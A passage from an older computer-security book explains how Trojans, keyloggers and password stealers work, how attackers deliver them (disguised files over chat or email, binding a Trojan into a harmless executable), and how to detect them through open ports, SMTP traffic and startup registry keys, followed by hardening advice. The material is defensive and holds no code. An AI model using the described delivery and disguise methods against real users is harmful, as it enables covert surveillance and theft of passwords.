the characters typed along with the window names, to a predefined email address using an external mail server at regular fixed interval of time, without the knowledge of the victim. Thus, attackers use such Trojans, to compromise company secrets, secret documents and private emails. Certain Trojans also have Password Stealing Capabilities and are commonly used to steal sensitive passwords. Password Stealing Trojans secretly email out the predefined password files and all the cached passwords, to a predefined email address, using an external mail server at fixed intervals of time, without the knowledge of the victim. Thus, the attacker is able to keep a track of all passwords of the target system, even when the victim changes his or her password. Certain Trojans are designed such that they run malicious commands and delete some or all of the sensitive information on the target system. Such Destructive Trojans are as dangerous as viruses and are intended to do nothing but create havoc on the target system.

2.

3.

4.

Thus, the threat of Trojan attacks is very widespread and massive. It is thus important for everyone to understand as to how exactly Trojans work and how one can counterattack. Trojans: The Working Almost all Trojans (with the exception of the Key loggers, Password Stealers etc) are made up of the following parts-: 1. 2. The Server part: This part of the Trojan should be installed and be running on the target system. The Client part: This part of the Trojans is installed and run on the attackers system.

To actually trojanize the target system, the attacker follows the following steps: 1. The attacker tries to install the server part of the Trojan on the target system, using any of the following methods: a.) Sending the Trojan Server disguised as a normal File sent through ICQ or any other instant Messaging Software. b.) Sending the Trojan Server disguised as a normal File sent through IRC or email. c.) Installing the Trojan Server part manually, if he has physical access to the target system. d.) By trickery: In this method the attacker either hides the Trojan server part into a normal .EXE file. This .EXE file is chosen by the attacker on the basis that he must chose a file, which he thinks might be useful to the victim or which might arouse his interest, so that the victim, does actually execute and install the disguised Trojan Server on his

system. This method is based on the fact that there exists a way in which two .EXE files can be conjoined into one single .EXE file, without having any affect on the working of either of the two .EXE files. 2. Once the attacker has been able to install the server part of the Trojan on the target system, this server part of the Trojan, then binds itself to a particular port on the target system and listens for connections. The port, at which the Trojan Server listens for connections or gets ready for accepting connections, varies from Trojan to Trojan. Each Trojan has a particular port number, to which it binds itself and listens for connections. For Example, The Netbus Trojan is known to be listening for connections on Port 12345. 3. Once the Server part of a Trojan is listening on a particular port for connections, then the next challenge that the attacker faces is as to how he can get the IP Address of the target system. For a detailed description of the methods by which one can get a remote systems IP Address, read the first chapter. As soon as the attacker obtains the IP Address of the target system, then he uses the client part of the Trojan that he installed on his own system, to connect to the remote system. It is important to note that the attacker connects to the Port number at which the Trojans Server part is listening for connections. Then, the attacker can do absolutely anything with the compromised system. One common thing that many attackers do is place a backdoor on the compromised system, so that the next time they want access to that particular system, then they do not have to follow the above cumbersome process all over again.

4.

Detection of Trojans 1. We already know that the server part of Trojans bind themselves to a particular predefined port and listen for connections. Thus, one simple method by which one can detect the presence of a Trojan is to use the netstat-n command to get a list of open ports on the local system. This list of open ports is then compared with the common Trojan ports, found at the end of this book. If any of the open ports on your system, match with the list of Trojan ports, then it probably means that your system is infected. Key logger and Password Stealers secretly send out an email using a pre-defined mail server, with the contents of the log file enclosed. Such emails can be sent if the compromised system establishes a connection with a mail server at the SMTP port or Port 25. Thus, one should monitor all outgoing traffic and suspicious activity addressed to Port 25 of a remote server. If one does find illegitimate activity wherein, there are a number of outgoing packets addressed to Port 25 of a remote system, then this could mean that your system has been compromised. Various tools like Lockdown 2000, Prcview etc, can easily carry out detection of popular, known Trojans. Almost all types of Trojans have to somehow make sure that they too start or get executed or are loaded into the memory, each time Windows boots up. In order to do so, many Trojans add a reference to them either in the registry; start up files or other system files. These references are added, such that the Trojans get executed each time Windows boots up. Some of the common references that various Trojans are known to add are given below:

2.

3. 4.

a.) The Start Up Folder: c:\windows\start menu\programs\startup. This start up folder is

actually stored in the registry, at the following keys:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Sh ell Folders]"Common Startup"="C:\windows\start menu\programs\startup" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders] Startup="C:\windows\start menu\programs\startup" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shel l Folders] Startup="C:\windows\start menu\programs\startup" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Us er Shell Folders]"Common Startup"="C:\windows\start menu\programs\startup"

b.) System Files: The two system files, win.ini and system.ini too have sections, where all
programs, which are referenced, get executed.

c.) Batch Files: The two batch files, autoexec.bat and winstart.bat too get executed each
time Windows boots and thus can contain malicious commands or references to malicious programs.

d.) The Windows Registry: Another place to look for references to Trojan programs is the
Windows registry. All programs referred to, in the following registry keys are executed each time windows loads: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService sOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] Thus by monitoring all of these and many more places, where references can make the referred tool execute or run automatically each time Windows runs, one can indeed detect the presence of Trojan tools. Countermeasures 1. Once one has detected and identified the Trojan installed on ones system then all that is left to be done is to install a Removal Utility of that particular Trojan. Also, even after the Trojan Removal Tool has removed the tool, one should remove all references to the Trojans in all of the above and more start up places. One should never accept or execute any file sent to you over email, chat, IRC etc. Even if the name of the received file seems to be very tempting and harmless, but still one should refrain from executing such files. Also, one should refrain from experimenting a lot with Trojans, because sometimes the client part of the Trojan, which has to be installed on your system, could actually turn out to be the server part, thus opening up your system to malicious attackers.

2.

3.

Nowadays, with the introduction of technologies, which allow malicious attackers to conjoin two EXE files, the harmful Trojan files actually come as a part of a normal useful harmless .EXE file. Such a Trojan disguised within a normal, widely distributed harmless utility, and does not in any way affect the working of this utility. It only increases its file size but certain bytes. As a result such cases are very difficult to detect. As a countermeasure, one should always download software from the Internet only from the original developers website and not accept any .EXE file irrespective of as to from whom you received it.

Securing your systems

Although it is very difficult to give a system 100% security, however, there are certainly certain steps, which one can take to increase the level of security of their system. In this section, we discuss just these steps. Securing a standalone Home System 1. Disable File Sharing on your system. If you must run File Sharing, then password protect access to it, making sure to use a strong and difficult to guess password. If you have Wingates or any other proxy server installed on your system, then it pays to close those ports associated with them, which allow access to its services to all users across the Internet. Again, if you must continue providing access to a select group of outsiders, then make sure that you password-protect the access to it, choosing a good, (difficult to both guess and brute-force) password. Install a Non-Commercial and easy to manage Personal Firewall on your system. The most common and recommended ones would be ZoneAlarm and BlackICE. Also make sure to configure these personal firewalls to the maximum-security level that suits your needs. Do a periodic port scan of your system or use the netstat command to get a list of open ports on your system. It is advisable to do this, without running any of the various Internet programs like your browser, email client etc. Once you get the list of open ports on your system, and then compare this list of open ports, to the list of Trojan Ports available at the end of this book. If you find a match, then remove the Trojan using an Antiviral tool or a Trojan Removal Tool. Also, look for references to automatically started malicious programs like key loggers and Trojans in the registry and start up files and remove all such references. Read the chapter on IP Addresses and ensure that your IP Address is hidden of your identity is protected at all times, whether it be while surfing the Internet, sending email, chatting etc, by following the various countermeasures discussed. The easiest and the common to all countermeasure, is to connect to the remote system through a proxy server. Also, disable Cookies and set the privacy or security level of your browser to the Maximum level comfortable or necessary. Please note that if you set the Privacy level of your browser to Maximum, then you may not be able to run certain ActiveX controls. Make sure to keep the drivers of your modem up to date to protect against DOS Attacks. Also make sure that you install the latest patches of your operating system and keep updating the various utilities that you use on the internet like your browser, email client etc, to patch any bugs which might have been newly discovered. It is advisable to become members of various security mailing lists, which keep you abreast with the latest happening in the bugs and exploits world!!! Install a good Antiviral tool and keep updating it at least, once a week. This will give you protection against viruses, worms and even standard Trojans. The key to protection in this case is to keep updating the Antiviral utility, as often as possible, as many times as possible. Also, NEVER ever accept any file over any chat conversation or open any email attachment, if you do

2.

3.

4.

5.

6.

not know the sender, irrespective of how interesting the file may seem to you. It could be a malicious program in disguise. Antiviral tools will not give you very good protection against Trojan tools, the netstat method or other Trojan Detection and Removal tools are always better choices. 7. Finally to give the system protection against those cases of attacks, where the attacker has physical access to the system enable BIOS and login passwords. Although such passwords would not protect your system fully, however, they would definitely make the job of the attacker much more tough. Making Login Password necessary for all users too is something that all of us should definitely seriously think of implementing. Password protecting documents, containing sensitive data too is not a bad idea at all. For more information on that topic read the section titled: Protecting Data on your Hard Disk.

One thing to remember here is that Computer Security should definitely be taken seriously, but one should definitely not take it overly seriously. Securing a system acting as a server If you are managing a server, then one has to watch out for the following attacks: 1. 2. 3. 4. 5. DOS Attacks IP Spoofing/ DNS Spoofing/ ARP Spoofing Trojan/Key logger Attacks Buffer Overflows Attacks on the Password Files

The steps that one can employ to improve the security of a server are as follows: 1. 2. Disable as many services as possible, without affecting the normal services that your server has to offer to the legitimate users. Also read Point 1of the previous section. Being a server, your system is going to face all kinds of attacks, pings, scans and fingerprint attempts. Thus, it becomes very important for you to install a Firewall, which gives you control over even the tiniest of the data that enters or leaves your network. Please note that the key to securing your network is not in getting the most popular commercial firewall, but lies in being able to properly configure the various rules of a firewall, to suit all your needs. One should also be proficient with defining the Access Control Lists of your router. It is advisable to read the Chapters titled: Scanning, Fingerprinting and Information Gathering and Attacked to understand the methods employed by hackers and how one can counterattack them. One should always remember that it pays to install a network data monitoring tool, to monitor all incoming and outgoing data and to try and identity the illegitimate traffic and determine as to, what the attacker was trying to achieve through this traffic. Traffic Study will not only improve your servers security, but will also get your adrenalin running!!! Same as Point 3 in the above section.

3.

4. Make sure that the daemons running on your system are the latest versions available. Also it is
advisable to choose daemons, which are known for their less number of loopholes. One should install the latest patches of the operating system and daemons running on their system as regularly as possible. Like I said earlier, it is advisable to become members of various security mailing lists, which keep you abreast with the latest happening in the bugs and exploits world!!! Thus, to recapitulate, the operating systems running on your router and system should be the latest releases. Also, the various daemons running on your system should be updated at regular intervals. 5. Same as Point 6 in the above section.

6. 7.

Same as Point 7 in the above section. If your system is a part of a network, then it is advisable to implement Internal Security Standards like Kerberos. One should make use of encryption technologies like IPSec, SSL and other encryption algorithms to store and transfer data as much as possible. Read the chapter titled: Secure Protocols, Encryption Algorithms and File Security for more details. Another thing that one has to watch out for is the presence of sniffing tools on any system on the Network. One should employ the various detection and removal methods discussed earlier. The use of strong, difficult to detect passwords at various levels in the network also pays. Last, but the most important thing that one should do is: Read all the techniques and Countermeasures discussed in this book and inculcate the counter measures in their network and system.

8.

9.

Please note that one could keep on adding steps to the above list, but still not fully secure a server. Thus, what I mean to say is that the above list is just a part of the entire list of steps that one must employ to secure ones system.